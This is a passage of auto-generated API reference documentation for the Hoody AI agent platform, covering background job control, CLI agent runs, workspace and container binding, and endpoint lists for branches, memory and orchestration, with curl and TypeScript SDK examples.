      "callID": "call_01HXYZABCDEFGHJKMNPQRSTVW",
      "tool": "bash",
      "status": "completed",
      "input": { "command": "npm test" },
      "progress": {
        "message": "Running tests...",
        "percent": 75
      },
      "output": "All tests passed.",
      "fullOutput": "All tests passed.\n",
      "attachments": [
        { "mime": "text/plain", "url": "https://files.hoody.com/..." }
      ],
      "metadata": {},
      "time": {
        "created": 1700000000000,
        "started": 1700000000050,
        "completed": 1700000005000
      },
      "wakePolicy": "auto",
      "durability": "session",
      "groupID": "grp_01HXYZABCDEFGHJKMNPQRSTVW",
      "timeout": 60000,
      "retries": { "max": 2, "count": 0 },
      "completionProcessed": true,
      "parentJobId": null,
      "childJobIds": [],
      "totalChildren": 0,
      "finishedChildJobIds": []
    }
  ],
  "nextCursor": "job_01HXYZABCDEFGHJKMNPQRSTVW"
}
```



### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/{jobId}`

Fetch a single job's full info: status, progress, output, error, timing. Use this to poll a job started by RSI, self-tuning, or `cli_agent` if the SSE stream is unavailable.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |
| `jobId` | path | string | Yes | Job identifier |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/job_01HXYZABCDEFGHJKMNPQRSTVW" \
  -H "Authorization: Bearer <token>"
```


```typescript
const job = await client.agent.workspaceSession.sessionsJobsGet({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  jobId: "job_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "id": "job_01HXYZABCDEFGHJKMNPQRSTVW",
  "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  "messageID": "msg_01HXYZABCDEFGHJKMNPQRSTVW",
  "callID": "call_01HXYZABCDEFGHJKMNPQRSTVW",
  "tool": "bash",
  "status": "running",
  "input": { "command": "npm test" },
  "progress": {
    "message": "Running test suite...",
    "percent": 42
  },
  "output": "Test 1 passed\nTest 2 passed\n",
  "fullOutput": "Test 1 passed\nTest 2 passed\nTest 3 running...\n",
  "metadata": {},
  "time": {
    "created": 1700000000000,
    "started": 1700000000050
  },
  "wakePolicy": "auto",
  "durability": "session",
  "timeout": 60000,
  "retries": { "max": 2, "count": 0 },
  "completionProcessed": false
}
```



### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/{jobId}/output`

Return the complete output buffer of a background job. `Job.Info.output` may be truncated for index payloads; this endpoint returns the full uncapped output.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |
| `jobId` | path | string | Yes | Job identifier |



```bash
curl -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/job_01HXYZABCDEFGHJKMNPQRSTVW/output" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.agent.workspaceSession.sessionsJobsGetOutput({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  jobId: "job_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "output": "Test 1 passed\nTest 2 passed\nTest 3 passed\nTest 4 passed\nAll tests passed.\n"
}
```



### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/{jobId}/cancel`

Request cancellation of a running background job. Already-terminal jobs are returned with their existing status; running jobs are signalled to stop.

#### Parameters



| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | workspaceID path parameter |
| `sessionID` | path | string | Yes | sessionID path parameter |
| `jobId` | path | string | Yes | jobId path parameter |




```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/job_01HXYZABCDEFGHJKMNPQRSTVW/cancel" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.agent.workspaceSession.sessionsJobsCancel({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  jobId: "job_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "job": {
    "id": "job_01HXYZABCDEFGHJKMNPQRSTVW",
    "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
    "messageID": "msg_01HXYZABCDEFGHJKMNPQRSTVW",
    "callID": "call_01HXYZABCDEFGHJKMNPQRSTVW",
    "tool": "bash",
    "status": "cancelled",
    "input": { "command": "npm test" },
    "time": {
      "created": 1700000000000,
      "started": 1700000000050,
      "completed": 1700000005000
    },
    "wakePolicy": "auto",
    "durability": "session",
    "timeout": 60000,
    "retries": { "max": 2, "count": 0 },
    "completionProcessed": false
  },
  "message": "Job cancelled"
}
```



### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/cancel`

Bulk-cancel a set of jobs in one call. Each ID is processed independently — unknown IDs and any other per-job errors are reported in `failed[]` rather than aborting the batch. Already-terminal jobs are reported in `failed[]` with reason `already_terminal`. Returns 200 even when every job fails — inspect `cancelled` and `failed` to interpret the outcome.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `jobIds` | array of string | Yes | Job IDs to cancel. Minimum 1, maximum 1000 per call. Unknown IDs are reported in `failed`, not 404. |



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/cancel" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "jobIds": [
      "job_01HXYZABCDEFGHJKMNPQRSTVW",
      "job_02HXYZABCDEFGHJKMNPQRSTVW",
      "job_03HXYZABCDEFGHJKMNPQRSTVW"
    ]
  }'
```


```typescript
const result = await client.agent.workspaceSession.sessionsJobsCancelBulk({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  data: {
    jobIds: [
      "job_01HXYZABCDEFGHJKMNPQRSTVW",
      "job_02HXYZABCDEFGHJKMNPQRSTVW",
      "job_03HXYZABCDEFGHJKMNPQRSTVW",
    ],
  },
});
```



#### Response



```json
{
  "cancelled": 2,
  "failed": [
    {
      "jobId": "job_03HXYZABCDEFGHJKMNPQRSTVW",
      "reason": "already_terminal"
    }
  ]
}
```



### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/{jobId}/retry`

Re-run a job that ended in a non-success terminal state. Only `failed`, `expired`, and `cancelled` jobs are eligible; `completed` jobs return 409. Child jobs (those with `parentJobId`) cannot be retried in isolation — retry the top-level parent instead. The retry creates a NEW job with a new ID, copying the original `tool`, `input`, `messageID`, `callID`, `wakePolicy`, `durability`, and `timeout`. The original job record is left intact for audit.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |
| `jobId` | path | string | Yes | Job identifier |



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/job_01HXYZABCDEFGHJKMNPQRSTVW/retry" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.agent.workspaceSession.sessionsJobsRetry({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  jobId: "job_01HXYZABCDEFGHJKMNPQRSTVW",
});
```



#### Response



```json
{
  "jobID": "job_02HXYZABCDEFGHJKMNPQRSTVW",
  "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  "status": "queued",
  "retriedFrom": "job_01HXYZABCDEFGHJKMNPQRSTVW"
}
```


```json
{
  "error": "Job not found",
  "message": "No job with id job_01HXYZABCDEFGHJKMNPQRSTVW in this session"
}
```


```json
{
  "error": "Job is not in a retryable terminal state",
  "message": "Only failed, expired, or cancelled jobs can be retried. Current status: completed"
}
```


```json
{
  "error": "Tool factory no longer registered",
  "message": "Cannot retry: the tool that produced this job is no longer available"
}
```


```json
{
  "error": "Job is a child of another job",
  "message": "Retry the parent job (job_01HXYZABCDEFGHJKMNPQRSTVW) instead of this child"
}
```



### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/jobs/inject`

Mirror the agent prompt-loop's own injection step: pull terminal, unprocessed jobs and attach summary parts to the last user message (or mint one if none). Pass `jobIds: [...]` to inject a specific subset; pass `jobIds: []` to inject nothing explicitly; omit the field to drain all manual-policy unprocessed jobs. Returns 409 if the prompt loop is active.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `jobIds` | array of string | No | Optional subset of job IDs to inject. Omit the field to drain all manual-policy unprocessed jobs. Pass `[]` to explicitly inject nothing. Max 1000 IDs per call. |



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/jobs/inject" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "jobIds": [
      "job_01HXYZABCDEFGHJKMNPQRSTVW",
      "job_02HXYZABCDEFGHJKMNPQRSTVW"
    ]
  }'
```


```typescript
const result = await client.agent.workspaceSession.sessionsJobsInject({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  data: {
    jobIds: [
      "job_01HXYZABCDEFGHJKMNPQRSTVW",
      "job_02HXYZABCDEFGHJKMNPQRSTVW",
    ],
  },
});
```



#### Response



```json
{
  "injected": 2,
  "failed": 0,
  "message": "Injected 2 job result(s) into session context"
}
```


```json
{
  "error": "Session prompt loop is active",
  "code": "loop_already_active"
}
```



## CLI Agent

Spawn and stream an external CLI agent (gemini, codex, claude) as a side job on a session. The session's existing prompt loop is untouched — CLI agent runs are independent and their results can later be injected via `POST /jobs/inject`.

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/cli-agent`

Run an external CLI agent against the session's working directory in the background. Returns a queued `jobID`; subscribe to `/cli-agent/runs/{jobID}/stream` for progress and final output.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `agent` | string | Yes | Configured CLI agent name (case-insensitive). e.g. `Gemini Flash`, `Codex`. |
| `prompt` | string | Yes | Prompt to send to the CLI agent. Max 100K chars. |
| `model` | string | No | Override the agent's default model. |
| `git` | boolean | No | Request git access (only honoured if agent's `allow_git` is true, or `codex-rw`). |
| `timeout` | integer | No | Override timeout in ms; clamped to the agent's configured ceiling. |



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/cli-agent" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "agent": "Codex",
    "prompt": "Investigate the failing login test and propose a fix.",
    "model": "gpt-4o",
    "git": false,
    "timeout": 300000
  }'
```


```typescript
const run = await client.agent.workspaceSession.sessionsCliAgentStart({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  data: {
    agent: "Codex",
    prompt: "Investigate the failing login test and propose a fix.",
    model: "gpt-4o",
    git: false,
    timeout: 300000,
  },
});
```



#### Response



```json
{
  "jobID": "job_01HXYZABCDEFGHJKMNPQRSTVW",
  "sessionID": "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  "status": "queued"
}
```



### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/cli-agent/runs/{jobID}/stream`

Server-Sent Events stream of progress events for a CLI agent job. The server emits a snapshot first (so late subscribers see the current state), then live events; if the job is already terminal, it emits the completion event and closes.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier |
| `sessionID` | path | string | Yes | Session identifier |
| `jobID` | path | string | Yes | CLI agent job identifier |



```bash
curl -N -X GET "https://api.hoody.com/api/v1/workspaces/5f9b3a2e1c8d4f7b6a5e3d2c/sessions/sess_01HXYZABCDEFGHJKMNPQRSTVW/cli-agent/runs/job_01HXYZABCDEFGHJKMNPQRSTVW/stream" \
  -H "Authorization: Bearer <token>" \
  -H "Accept: text/event-stream"
```


```typescript
const stream = await client.agent.workspaceSession.sessionsCliAgentStream({
  workspaceID: "5f9b3a2e1c8d4f7b6a5e3d2c",
  sessionID: "sess_01HXYZABCDEFGHJKMNPQRSTVW",
  jobID: "job_01HXYZABCDEFGHJKMNPQRSTVW",
});

for await (const event of stream) {
  console.log(event.type, event);
}
```



#### Response



```http
HTTP/1.1 200 OK
Content-Type: text/event-stream

event: snapshot
data: {"type":"snapshot","job":{"id":"job_01H...","status":"running","progress":{"message":"Reading files...","percent":20}}}

event: progress
data: {"type":"progress","message":"Analyzing test output","percent":55}

event: complete
data: {"type":"complete","job":{"id":"job_01H...","status":"completed","output":"Found the issue: ..."}}
```

---

# Agent: Workspace

**Page:** api/agent/workspace

[Download Raw Markdown](./api/agent/workspace.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Workspace management

These endpoints manage workspace entries (projects) tracked by the server, and bind or unbind containers to a workspace.

### `GET /api/v1/workspaces`

Get a paginated list of all workspaces (projects) known to the server.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | Page number (1-indexed). Default: `1` |
| `limit` | query | integer | No | Items per page (max 200). Default: `50` |

#### Response



```json
{
  "items": [
    {
      "id": "global",
      "worktree": "/home/user/projects/global",
      "vcs": "git",
      "name": "Global",
      "icon": {
        "url": "https://example.com/icon.png",
        "override": "G",
        "color": "#6366f1"
      },
      "commands": {
        "start": "npm install"
      },
      "time": {
        "created": 1700000000000,
        "updated": 1700000001000,
        "initialized": 1700000000500
      },
      "branches": [],
      "workspace": null,
      "panels": null,
      "programs": null
    }
  ],
  "meta": {
    "page": 1,
    "limit": 50,
    "total": 1,
    "pages": 1
  }
}
```



#### SDK usage

```ts
const { items, meta } = await client.agent.workspace.workspacesList({
  page: 1,
  limit: 50,
});
```

### `GET /api/v1/workspaces/{workspaceID}`

Retrieve detailed information about a specific workspace by its project ID.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace ID (24-char lowercase hex) |

#### Response



```json
{
  "id": "507f1f77bcf86cd799439011",
  "worktree": "/home/user/projects/hoody",
  "vcs": "git",
  "name": "Hoody",
  "icon": {
    "url": "https://example.com/icon.png",
    "override": "H",
    "color": "#22c55e"
  },
  "commands": {
    "start": "pnpm install"
  },
  "time": {
    "created": 1700000000000,
    "updated": 1700000001000,
    "initialized": 1700000000500
  },
  "branches": [],
  "workspace": null,
  "panels": null,
  "programs": null
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Workspace not found"
  }
}
```



#### SDK usage

```ts
const workspace = await client.agent.workspace.workspacesGet({
  workspaceID: "507f1f77bcf86cd799439011",
});
```

### `POST /api/v1/workspaces`

Create a new workspace entry in workspace-state.

This endpoint takes no parameters.

#### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `worktree` | string | Yes | Absolute path of the git worktree |
| `name` | string | No | Display name for the workspace |
| `color` | string | No | Hex or CSS color used to render the workspace chip |
| `visible` | boolean | No | Whether the workspace appears in the sidebar |
| `container` | object | Yes | Container binding configuration |

```json
{
  "worktree": "/home/user/projects/hoody",
  "name": "Hoody",
  "color": "#22c55e",
  "visible": true
}
```

#### Response



```json
{
  "id": "507f1f77bcf86cd799439011"
}
```


```json
{
  "data": {},
  "errors": [
    {
      "path": "worktree",
      "message": "worktree is required"
    }
  ],
  "success": false
}
```



#### SDK usage

```ts
const { id } = await client.agent.workspace.workspacesCreate({
  worktree: "/home/user/projects/hoody",
  name: "Hoody",
});
```

### `PATCH /api/v1/workspaces/{workspaceID}`

Update workspace properties such as name, icon, and commands.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace ID (24-char lowercase hex) |

#### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `name` | string | No | New display name for the workspace |
| `icon` | object | No | Icon override (`url`, `override`, `color`) |
| `commands` | object | No | Workspace commands (`start` is a startup script for new worktrees) |

```json
{
  "name": "Hoody (renamed)",
  "icon": {
    "override": "H",
    "color": "#0ea5e9"
  },
  "commands": {
    "start": "pnpm install && pnpm dev"
  }
}
```

#### Response



```json
{
  "id": "507f1f77bcf86cd799439011",
  "worktree": "/home/user/projects/hoody",
  "vcs": "git",
  "name": "Hoody (renamed)",
  "icon": {
    "url": "",
    "override": "H",
    "color": "#0ea5e9"
  },
  "commands": {
    "start": "pnpm install && pnpm dev"
  },
  "time": {
    "created": 1700000000000,
    "updated": 1700000002000,
    "initialized": 1700000000500
  },
  "branches": []
}
```


```json
{
  "data": {},
  "errors": [
    {
      "path": "icon.color",
      "message": "Invalid color value"
    }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Workspace not found"
  }
}
```



#### SDK usage

```ts
const updated = await client.agent.workspace.workspacesUpdate({
  workspaceID: "507f1f77bcf86cd799439011",
  name: "Hoody (renamed)",
});
```

### `DELETE /api/v1/workspaces/{workspaceID}`

Remove a workspace entry from workspace-state.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace ID (24-char lowercase hex) |

#### Response



```json
{
  "ok": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Workspace not found"
  }
}
```



#### SDK usage

```ts
await client.agent.workspace.workspacesDelete({
  workspaceID: "507f1f77bcf86cd799439011",
});
```

## Container binding

These endpoints attach a running container to a workspace entry, and remove the attachment.


Binding a container does not create it. You must provision a container elsewhere and then record the binding against the workspace.


### `POST /api/v1/workspaces/{workspaceID}/container`

Set the container binding for a workspace entry.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace ID (24-char lowercase hex) |

#### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `containerId` | string | Yes | Identifier of the container to bind |
| `projectId` | string | Yes | Container's project identifier |
| `serverNode` | string | Yes | Node on which the container is running |

```json
{
  "containerId": "c-8a1b2c3d4e5f",
  "projectId": "p-001",
  "serverNode": "node-eu-west-1"
}
```

#### Response



```json
{
  "ok": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Workspace not found"
  }
}
```



#### SDK usage

```ts
await client.agent.workspace.bind({
  workspaceID: "507f1f77bcf86cd799439011",
  containerId: "c-8a1b2c3d4e5f",
  projectId: "p-001",
  serverNode: "node-eu-west-1",
});
```

### `DELETE /api/v1/workspaces/{workspaceID}/container`

Remove the container binding from a workspace entry.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace ID (24-char lowercase hex) |

#### Response



```json
{
  "ok": true
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Workspace not found"
  }
}
```



#### SDK usage

```ts
await client.agent.workspace.unbind({
  workspaceID: "507f1f77bcf86cd799439011",
});
```

---

# Agent:Branches

**Page:** api/agent-branches

[Download Raw Markdown](./api/agent-branches.md)

---

## API Endpoints Summary

- **GET** `/api/branches` — List all branches
- **POST** `/api/branches` — Create a new branch
- **GET** `/api/branches/disk-usage` — Get branch disk usage
- **GET** `/api/branches/remote` — Get remote info
- **GET** `/api/branches/remote-refs` — List remote branches/tags
- **PATCH** `/api/branches/{id}` — Rename branch display name
- **DELETE** `/api/branches/{id}` — Delete a branch
- **POST** `/api/branches/{id}/reset` — Reset branch to base
- **POST** `/api/branches/{id}/retry` — Retry failed branch
- **GET** `/api/branches/{id}/diff` — Get branch diff
- **POST** `/api/branches/{id}/merge` — Merge branch
- **GET** `/api/branches/{id}/status` — Get branch git status
- **POST** `/api/branches/{id}/push` — Push branch to remote
- **POST** `/api/branches/{id}/pull` — Pull from remote
- **GET** `/api/branches/{id}/remote-status` — Get remote tracking status
- **GET** `/api/branches/{id}/pr` — Get PR/MR status
- **POST** `/api/branches/{id}/pr` — Create pull/merge request

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Config

**Page:** api/agent-config

[Download Raw Markdown](./api/agent-config.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/config/tool-overrides` — Get workspace tool overrides

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Experimental

**Page:** api/agent-experimental

[Download Raw Markdown](./api/agent-experimental.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/experimental/tool/ids` — List tool IDs
- **GET** `/api/v1/workspaces/{workspaceID}/experimental/tool` — List tools
- **GET** `/api/v1/workspaces/{workspaceID}/experimental/resource` — Get MCP resources

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Files

**Page:** api/agent-files

[Download Raw Markdown](./api/agent-files.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/files/find` — Find text
- **GET** `/api/v1/workspaces/{workspaceID}/files/find/file` — Find files
- **GET** `/api/v1/workspaces/{workspaceID}/files/find/symbol` — Find symbols
- **GET** `/api/v1/workspaces/{workspaceID}/files/file` — List files
- **GET** `/api/v1/workspaces/{workspaceID}/files/file/content` — Read file
- **GET** `/api/v1/workspaces/{workspaceID}/files/file/status` — Get file status

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Image Gen

**Page:** api/agent-image-gen

[Download Raw Markdown](./api/agent-image-gen.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/image-gen/status` — Get image generation status

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Mcp

**Page:** api/agent-mcp

[Download Raw Markdown](./api/agent-mcp.md)

---

:::caution[Autogenerated Warnings]
- Some endpoints are missing summaries in OpenAPI.
:::

## API Endpoints Summary

- **POST** `/api/v1/workspaces/{workspaceID}/mcp/{name}/auth` — Start MCP OAuth
- **DELETE** `/api/v1/workspaces/{workspaceID}/mcp/{name}/auth` — Remove MCP OAuth
- **POST** `/api/v1/workspaces/{workspaceID}/mcp/{name}/auth/callback` — Complete MCP OAuth
- **POST** `/api/v1/workspaces/{workspaceID}/mcp/{name}/auth/authenticate` — Authenticate MCP OAuth
- **POST** `/api/v1/workspaces/{workspaceID}/mcp/{name}/connect`
- **POST** `/api/v1/workspaces/{workspaceID}/mcp/{name}/disconnect`

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Memory

**Page:** api/agent-memory

[Download Raw Markdown](./api/agent-memory.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/memory/blocks` — List memory blocks
- **GET** `/api/v1/workspaces/{workspaceID}/memory/blocks/{label}` — Get memory block
- **PUT** `/api/v1/workspaces/{workspaceID}/memory/blocks/{label}` — Set memory block
- **PATCH** `/api/v1/workspaces/{workspaceID}/memory/blocks/{label}` — Replace in memory block
- **DELETE** `/api/v1/workspaces/{workspaceID}/memory/blocks/{label}` — Delete memory block
- **GET** `/api/v1/workspaces/{workspaceID}/memory/journal` — List journal entries
- **POST** `/api/v1/workspaces/{workspaceID}/memory/journal` — Write journal entry
- **GET** `/api/v1/workspaces/{workspaceID}/memory/journal/count` — Count journal entries
- **GET** `/api/v1/workspaces/{workspaceID}/memory/journal/{id}` — Get journal entry
- **DELETE** `/api/v1/workspaces/{workspaceID}/memory/journal/{id}` — Delete journal entry
- **POST** `/api/v1/workspaces/{workspaceID}/memory/journal/search` — Search journal entries
- **GET** `/api/v1/workspaces/{workspaceID}/memory/history` — List history events
- **GET** `/api/v1/workspaces/{workspaceID}/memory/history/{id}` — Get history event
- **GET** `/api/v1/workspaces/{workspaceID}/memory/config` — Get memory config

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Meta

**Page:** api/agent-meta

[Download Raw Markdown](./api/agent-meta.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/meta/agents` — List agents
- **GET** `/api/v1/workspaces/{workspaceID}/meta/skills` — List skills
- **GET** `/api/v1/workspaces/{workspaceID}/meta/path` — Get paths
- **GET** `/api/v1/workspaces/{workspaceID}/meta/vcs` — Get VCS info
- **GET** `/api/v1/workspaces/{workspaceID}/meta/commands` — List commands
- **GET** `/api/v1/workspaces/{workspaceID}/meta/lsp/status` — Get LSP status
- **GET** `/api/v1/workspaces/{workspaceID}/meta/formatter/status` — Get formatter status
- **GET** `/api/v1/workspaces/{workspaceID}/meta/events` — Subscribe to events
- **POST** `/api/v1/workspaces/{workspaceID}/meta/dispose` — Dispose instance

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Agent:Orchestration

**Page:** api/agent-orchestration

[Download Raw Markdown](./api/agent-orchestration.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/todo` — Read full Master TODO state
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/todo/events` — Read Master TODO event log
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries` — Append entries to Master TODO
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}` — Get a single Master TODO entry
- **DELETE** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}` — Delete a task entry
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/status` — Update entry status
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/rounds` — Set entry budget_rounds
- **PATCH** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/priority` — Update entry priority
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec` — Read entry spec
- **PUT** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec` — Update entry spec
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/todo/entries/{entryID}/spec/freeze` — Freeze entry spec
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/executor/status` — Get executor status
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/start` — Start executor dispatch loop
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/pause` — Pause executor dispatching
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/resume` — Resume executor dispatching
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/stop-all` — Stop all workers and pause executor
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/force-dispatch` — Force an executor dispatch cycle with diagnostics
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/executor/workers` — List active worker sessions
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/workers/{sessionID}/stop` — Stop a specific worker
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/executor/entries/{entryID}/reverify` — Re-run verification only (skip worker)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/executor/locks` — Get file locks per entry
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/questions` — List pending questions
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/questions/{questionID}` — Get question detail
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/questions/{questionID}/answer` — Answer a pending question
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/session` — Get orchestrator session info
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/session` — Create or resume orchestrator session
- **POST** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/prompt` — Send prompt to orchestrator (with @todo mention resolution)
- **GET** `/api/v1/workspaces/{workspaceID}/orchestration/orchestrator/sessions` — Get all orchestrator sessions (planning + per-phase)
